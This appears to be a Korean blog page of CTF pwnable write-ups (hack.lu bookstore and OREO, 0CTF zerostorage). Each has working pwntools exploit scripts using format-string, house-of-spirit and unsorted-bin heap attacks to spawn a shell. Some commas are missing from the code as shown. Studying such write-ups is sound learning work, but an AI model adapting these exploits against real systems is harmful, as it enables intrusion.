[2015 Hack.lu] bookstore

2019. 8. 1. 01:03

overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.

처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...


그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...

fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...


1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능

2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능

3. printf(dest)에서 FSB 가능



그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.


4. fsb로 stack_address와 libc_address를 leak

5. .fini_array를 main으로 덮는다.

6. 다시 main으로 돌아와 위의 과정을 수행.

7. fsb로 return address를 oneshot_gadget으로 덮는다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
 
conn = process("./books")
 
def order(id, data):
    conn.sendlineafter("5: Submit"str(id))
    conn.recvuntil("Enter first order:")
    conn.sendline(data)
 
def remove(id):
    conn.sendlineafter("5: Submit"str(id+2))
 
def submit(choice):
    conn.sendlineafter("5: Submit""5"+"\x00"*7+choice)
 
fini_array = 0x6011b8
free_got = 0x6013b8
 
# stage 1
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
payload  = "A"*8
payload += "%"+str(0xa39)+"c"
payload += "%13$hn"
payload += "%2$p "
payload += "%17$p"
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(fini_array))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
# leak
conn.recvuntil("0x")
leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ")
 
libc_base = int("0x"+leaks[0], 16- 0x3c6780
ret_addr = int(leaks[1], 16- 0x200
log.info("libc_base : " + hex(libc_base))
log.info("ret_addr : " + hex(ret_addr))
 
#stage 2
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
one_gadget = libc_base + 0x45216
log.info("one_gadget : " + hex(one_gadget))
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
head = (one_gadget >> 16& 0xFFFF
tail = one_gadget & 0xFFFF
 
payload  = "A"*8
payload += "%"+str(head)+"c"
payload += "%13$hn"
payload += "%"+str((0x10000+tail-head)%0x10000)+"c"
payload += "%14$hn"
 
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(ret_addr+2+ p64(ret_addr))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[hack.lu CTF 2014] OREO

2019. 7. 27. 00:42

오레오라는 문제를 풀어보았다.


house of spirit 공부하면서 풀어본 문제.



1. add메뉴를 통해 라이플을 0x40개만큼 만든다.

2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.

3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.

4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.

5. show stat을 통해 ssanf_addr leak 가능

6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *
 
conn = process("./oreo")
conn.recvuntil("What would you like to do?")
 
def add(name, desc):
    conn.sendline("1")
    conn.sendline(name)
    conn.sendline(desc)
 
def show_r():
    conn.sendline("2")
    
def order():
    conn.sendline("3")
 
def leave(msg):
    conn.sendline("4")
    conn.sendline(msg)
    
def show_s():
    conn.sendline("5")
    
for i in range(00x40):
    add("asdf""asdf")
 
fake_chunk  = "A"*0x1c
fake_chunk += p32(0)
fake_chunk += p32(0)+p32(0x300)
leave(fake_chunk)
 
fake_addr = 0x804a2a8
 
add("A"*27+p32(fake_addr), "fake")
# all free, house of spirit
order()
 
 
# overwrite notice ptr
sscanf_got = 0x804A258
add("AA", p32(sscanf_got))
conn.recvuntil("Okay order submitted!\n")
 
#leak
show_s()
conn.recvuntil("Order Message: ")
sscanf_addr = u32(conn.recv(4))
log.info("sscanf_addr : " + hex(sscanf_addr))
 
base_addr = sscanf_addr-0x5c4c0
system_addr = base_addr + 0x3ada0
 
log.info("base_addr   : " + hex(sscanf_addr))
log.info("system_addr : " + hex(system_addr))
 
# overwrite sscanf_got -> system_addr
leave(p32(system_addr))
conn.sendline("/bin/sh")
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[0CTF 2016] zerostorage

2019. 7. 26. 02:25

이번에는 unsorted bin attack 공격

global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.


취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.

왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ

merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.

이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.


그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...

이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
from pwn import *
 
conn = process("./zerostorage")
 
def insert(size, data):
    conn.sendlineafter("Your choice: "str("1"))
    conn.sendlineafter("Length of new entry: "str(size))
    conn.sendafter("data: ", data)
 
def update(id, size, data):
    conn.sendlineafter("Your choice: "str("2"))
    conn.sendlineafter("ID: "str(id))
    conn.sendlineafter("entry: "str(size))
    conn.sendafter("data: ", data)
 
def merge(fid, tid):
    conn.sendlineafter("Your choice: "str("3"))
    conn.sendlineafter("ID: "str(fid))
    conn.sendlineafter("ID: "str(tid))
 
def remove(id):
    conn.sendlineafter("Your choice: "str("4"))
    conn.sendlineafter("ID: "str(id))
 
def view(id):
    conn.sendlineafter("Your choice: "str("5"))
    conn.sendlineafter("ID: "str(id))
    
def list():
    conn.sendlineafter("Your choice: "str("6"))
 
insert(0x10"A"*0x10)
insert(0xf8"B"*0xf8)
 
# trigger bug
merge(00)     # 2
 
# leak main_arena
view(2)
conn.recvuntil(":\n")
main_arena = u64(conn.recv(6).ljust(8"\x00"))
libc_base = main_arena - 0x3c4b78
system_addr = libc_base + 0x45390
 
log.info("libc_base  : " + hex(libc_base))
log.info("libc_base  : " + hex(libc_base))
log.info("main_arena : " + hex(main_arena))
 
global_max_fast = libc_base + 0x3c67f8
log.info("global_max_fast : " + hex(global_max_fast))
 
free_hook = libc_base + 0x3c67a8
log.info("free_hook : " + hex(free_hook))
 
target = free_hook - 0x59
 
# unsorted bin attack
payload  = "A"*8
payload += p64(global_max_fast-0x10)
payload += "A"*16
 
log.info("len : "+hex(len(payload)))
 
# overwrite global_max_fast
update(20x20, payload)
insert(0x10"/bin/sh\x00"+"A"*8)   # 0
 
# double free
merge(11#3
 
target = free_hook - 0x59
 
payload = p64(target)
payload += "A"*(0xf8*2 - 8)
update(30xf8*2, payload) 
 
insert(0x1f0"A"*0x1f0)
 
 
# overwrite free_hook to system
payload  = "\x00"*0x49
payload += p64(system_addr)
payload += "\x00"*(0x1f0-0x49-8)
 
insert(0x1f0, payload)
remove(0)
 
 
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[hack.lu CTF 2014] OREO  (0) 2019.07.27
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

+ Recent posts